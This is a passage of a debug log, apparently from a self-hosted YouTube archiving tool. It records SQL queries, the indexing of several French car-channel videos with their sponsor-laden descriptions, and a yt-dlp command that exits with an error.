queue=0.5ms idle=52.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:47.184 [debug] QUERY OK source="media_items" db=3.1ms idle=55.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12176] 07:40:47.185 [debug] Current batch of media processed. Will check again in 1000ms 07:40:48.186 [debug] Current batch of media processed. Will check again in 1000ms 07:40:49.187 [debug] Current batch of media processed. Will check again in 1000ms 07:40:50.189 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "duration" => 1265, "filename" => "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", "id" => "GYmFjApmiP0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=GYmFjApmiP0", "playlist_index" => 20, "timestamp" => 1763658901, "title" => "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "upload_date" => "20251120"} 07:40:50.190 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1914.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:50.193 [debug] QUERY OK source="sources" db=1.6ms idle=1916.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:50.196 [debug] QUERY OK source="media_items" db=2.8ms idle=1768.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-20 17:15:01Z], 2] 07:40:50.206 [debug] QUERY OK source="media_items" db=8.6ms queue=0.1ms idle=1689.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "499d1038-8aab-494f-85f9-0c0e7cc459b5", "GYmFjApmiP0", 1265, false, "https://www.youtube.com/watch?v=GYmFjApmiP0", 20, "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", false, false, false, 2, [], 98, ~U[2025-11-20 17:15:01Z], ~U[2026-04-20 05:40:50Z], ~U[2026-04-20 05:40:50Z], "Trouvez l’historique de votre voiture avec CarVertical et 20% de réduction avec le code SYLVAIN 👉 https://www.carvertical.com/fr/landing/v3?utm_source=infl&a=sylvain&b=7c3caad9&voucher=sylvain\nCollaboration commerciale \n\nMerci à l'Anneau du Rhin pour leur accueil, comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Regis, société STRO, pour le prêt du camion et ses grosses sangles \nMerci à William pour le prêt de la 350Z, sa gentillesse et sa disponibilité \n\n---------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Lukasz Sledziewski et Thibault Iacolare\nMontage sponso : Romain Desveaux\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou et Heloyse Perfetti\nSinge passager : Joseph\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#BOULARD #PETAGEDEBOULON #PERFECTION", "Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )", "GYmFjApmiP0", 1265, false, "https://www.youtube.com/watch?v=GYmFjApmiP0", "/downloads/Sylvain Lyve/2025-11-20 Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion )/Volkswagen PHAETON W12 : L'invincible ( elle peut même tracter un camion ) [GYmFjApmiP0].mkv", false, 2, ~U[2025-11-20 17:15:01Z]] 07:40:50.209 [debug] QUERY OK source="sources" db=1.5ms queue=0.7ms idle=695.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:50.212 [debug] QUERY OK source="media_profiles" db=2.9ms queue=0.1ms idle=18.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:50.215 [debug] QUERY OK source="media_items" db=1.9ms idle=19.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11380] 07:40:50.219 [debug] Current batch of media processed. Will check again in 1000ms 07:40:50.393 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@sylvainlyve --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Sylvain Lyve/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:4320,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/5b/95/5b9581328f073545355337498e2c0b1ca52d3169cabda453df1db24723b1e5d0.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/54/00/540065381e82e5ae708852b6a2271f91a2ce75a6964b97aa912ed4f17d05f22c.json --cookies /config/extras/cookies.txt --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 07:40:50.395 [debug] Gracefully stopping file follower 07:40:50.396 [debug] QUERY OK source="sources" db=1.0ms idle=199.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:50.398 [debug] QUERY OK source="sources" db=0.8ms idle=191.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:50.400 [debug] QUERY OK source="media_items" db=1.6ms idle=189.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-16 16:15:04Z], 2] 07:40:50.460 [debug] QUERY OK source="media_items" db=58.6ms queue=0.3ms idle=188.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "Ouvrir la portière à 130km/h : ça fait quoi ?", "0e34b8e3-9c15-495f-b2f7-588c7ebeb2ad", "XPtFkKA8WEc", 1446, false, "https://www.youtube.com/watch?v=XPtFkKA8WEc", 1, "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", false, false, false, 2, [], 98, ~U[2026-04-16 16:15:04Z], ~U[2026-04-20 05:40:50Z], ~U[2026-04-20 05:40:50Z], "Merci à Éléphant Bleu d’avoir sponsorisé la vidéo! Jusqu'à fin avril, rendez-vous en station de lavage pour scanner le QR code et tenter de gagner une voiture. \nTrouvez la station Eléphant Bleu la plus proche de vous : https://www.elephantbleu.com\n\n--------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nCompositeur cascadeur : Joseph Shuman\nProduction : Anaelle Le Magorou et Capucine Sémur\nImage : Lucas Martin\nSon : Alan Poirier\nMontage sponso : Robin Danos\nMontage : Pablo Kerlogot et Thibault Iacolare\nVignette : Quentin Legac\nFourniture voiture : Cyril\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#SCIENCE #GLOBULEUX #SONETODEUR", "Ouvrir la portière à 130km/h : ça fait quoi ?", "XPtFkKA8WEc", 1446, false, "https://www.youtube.com/watch?v=XPtFkKA8WEc", "/downloads/Sylvain Lyve/2026-04-16 Ouvrir la portière à 130km⧸h : ça fait quoi ?/Ouvrir la portière à 130km⧸h : ça fait quoi ? [XPtFkKA8WEc].mkv", false, 2, ~U[2026-04-16 16:15:04Z]] 07:40:50.462 [debug] QUERY OK source="sources" db=1.1ms idle=245.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:50.466 [debug] QUERY OK source="media_items" db=3.3ms queue=0.1ms idle=65.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-09 16:15:00Z], 2] 07:40:50.470 [debug] QUERY OK source="media_items" db=2.7ms idle=68.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "Ferrari F430 : La crise de la quarantaine", "ff2e4403-1ad2-4fe5-a8d0-c013488bd2bd", "-VxgEzpF-v4", 2273, false, "https://www.youtube.com/watch?v=-VxgEzpF-v4", 2, "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", false, false, false, 2, [], 98, ~U[2026-04-09 16:15:00Z], ~U[2026-04-20 05:40:50Z], ~U[2026-04-20 05:40:50Z], "Merci à Saily d’avoir sponsorisé la vidéo ! Téléchargez l'application ici 👉 https://saily.com/sylvain et obtenez 15% de réduction sur votre eSIM en utilisant le code SYLVAIN\n\nCollaboration commerciale\n\n-----------------------------------------------\n\nUn grand merci à l'Anneau du Rhin comme toujours exceptionnel :\nLe site 👉 https://www.anneau-du-rhin.com/\n\nMerci à Sport Design Automobiles pour le prêt de cette exceptionnelle F430\nLe site ici 👉 http://sport-design-automobile.fr/\n\n---------------------------------\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nAcheteur potentiel : Joseph Shuman\nMontage sponso : Romain Desveaux\nMontage : Lucas Aubert et Thibault Iacolare\nImage : Lucas Martin\nDrone : Thibault Gabet\nSon : Alan Poirier\nProduction : Anaelle Le Magorou\nVignette : Quentin Legac\n\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#FERRARI #F430 #SINGE", "Ferrari F430 : La crise de la quarantaine", "-VxgEzpF-v4", 2273, false, "https://www.youtube.com/watch?v=-VxgEzpF-v4", "/downloads/Sylvain Lyve/2026-04-09 Ferrari F430 : La crise de la quarantaine/Ferrari F430 : La crise de la quarantaine [-VxgEzpF-v4].mkv", false, 2, ~U[2026-04-09 16:15:00Z]] 07:40:50.471 [debug] QUERY OK source="sources" db=0.8ms idle=70.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:50.474 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=11.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-02 16:15:00Z], 2] 07:40:50.531 [debug] QUERY OK source="media_items" db=56.6ms idle=12.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "67bbd62a-2eb8-4e5f-b5ec-32883b769c86", "Ao_t3r-wGSA", 3740, false, "https://www.youtube.com/watch?v=Ao_t3r-wGSA", 3, "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", false, false, false, 2, [], 98, ~U[2026-04-02 16:15:00Z], ~U[2026-04-20 05:40:50Z], ~U[2026-04-20 05:40:50Z], "Merci à Rhinoshield pour leur soutien, -15% avec le code SYLVAIN 👉 https://url.rhinoshield.fr/Sylvain-Easter\n\n-----------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nEcriture : Adeline Boulard\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#ELECTRIQUE #ARTHURMORGAN #PROBLEME", "LE PROBLÈME DE LA VOITURE ÉLECTRIQUE", "Ao_t3r-wGSA", 3740, false, "https://www.youtube.com/watch?v=Ao_t3r-wGSA", "/downloads/Sylvain Lyve/2026-04-02 LE PROBLÈME DE LA VOITURE ÉLECTRIQUE/LE PROBLÈME DE LA VOITURE ÉLECTRIQUE [Ao_t3r-wGSA].mkv", false, 2, ~U[2026-04-02 16:15:00Z]] 07:40:50.533 [debug] QUERY OK source="sources" db=1.3ms idle=62.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:50.535 [debug] QUERY OK source="media_items" db=1.7ms idle=62.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-26 17:15:05Z], 2] 07:40:51.769 [debug] QUERY OK source="media_items" db=1232.6ms queue=0.1ms idle=62.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, 